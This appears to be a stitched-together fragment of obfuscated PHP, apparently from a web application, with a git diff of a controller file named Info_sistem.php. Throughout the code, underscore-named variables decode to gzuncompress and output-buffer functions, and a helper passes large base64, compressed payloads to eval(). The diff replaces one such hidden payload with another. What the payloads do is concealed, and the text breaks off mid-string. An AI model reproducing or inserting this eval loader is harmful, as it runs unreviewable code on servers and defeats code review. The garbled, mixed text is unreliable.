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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Info_sistem.php b/donjo-app/controllers/Info_sistem.php index 9f0f65c0f..4b668324c 100644 --- a/donjo-app/controllers/Info_sistem.php +++ b/donjo-app/controllers/Info_sistem.php @@ -252,7 +252,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtW1tv21YSfg+w/yEPBdwiuylJWWmIwA+iLFKkdbFI8foSkDw2KfFaUzfq1/cbUrLlS9IWXXSxhY6ryJR45szlm29mmOb9+3b98BXr6qJ8WOSr+4svzeVhXV2wIl8W//HL8uewyFcPRZrePVQ/q/l98bVaVKu77GMZl+/7qV9VHz9+vPjy7iD0/b/enX/OP+8ITe//i+vq1ScXDi9Wrs0vPGVwddF89ITCP7QOiL96f17ndV7n9c9cF2FmcczR1qpiCa69LTRZvHfq5JeWNMGaLV1/PbvqvM7rvM7rvM7rvM7rvM7r/22dH2ec13md13n9c9dF4Fd3ny6/sruwYHcXX84eOa/zOq/zOq/z+kvr+f8GcT0rJv3F51/xHt1E3I3aLyI9SyvPkMogSyI3k3Pflteqosdhlnw6vW/ekdIgnWh6r7mGnN6vqjwpw46eBs1+bxNmfBwKSeQp1t41pD2jv8921IgpVu3m1gM+44Nc5/1aWnk2H/v0mX3Z3j87kTuQt4GSPrjOpCRdgoW0DzqQIZiRK4jJUV9PSWvf3pVhLeEcLcH90HtF91e+M0mDHPsHbDbvS/Z4eyo/jqHDte9InGv06vF1r6v2uWi87O0mhnQdCPzCt7upKmtpKIh8mE1SdZCuYWvJhhbn2+Ja7ccFG+rb6eLzJhhaK9i39oTVJnCste/Af3V37TmzzU1rV2Qo8oM6gL+Geqxeq9vx3I1Gzdkqp8pSCr35wIF/FPh/oOPcQaQraU6ygr5kwr4Fs1fx8dxwX2xGgrj17G7iwe5RliY3z3yIuGSMfHH0Ffmo9AWKb/rJty8rdThJXUGuEZc8zGTOd8aVqqzSUJETih+wsMX7liFGd8CF18StCz9LMVMaP+9d+D/I5HWDlYWE77RSHZI9MvkjZn2pYnaX/H3Qg873ykAx8bv4AIwgTnqDG8IJ9CtZv1eoyQkG4HvfUMtR/xE/CWKHM3ax32kw1NoM3wa5FKuKBv1k6EY2wpeES9ynKk3cTzDYzb2OtXZtsmUbBba1hp1V4xuFJ//xyImixaBIMvn2c51wD+xpfCikdH51sB92yHQmj3vojK1rI97DSRd+IV+0MehY3DQ6zSPklg2sZSnn2jFPOeETXpQDXhQdeSBzrjNu/Td8436nLI+xxt6aNfeme5zHtfYhNvYuDg54DAXCsbyFbjH8vCYZLrDGDGnh2qyk61Cx1gzf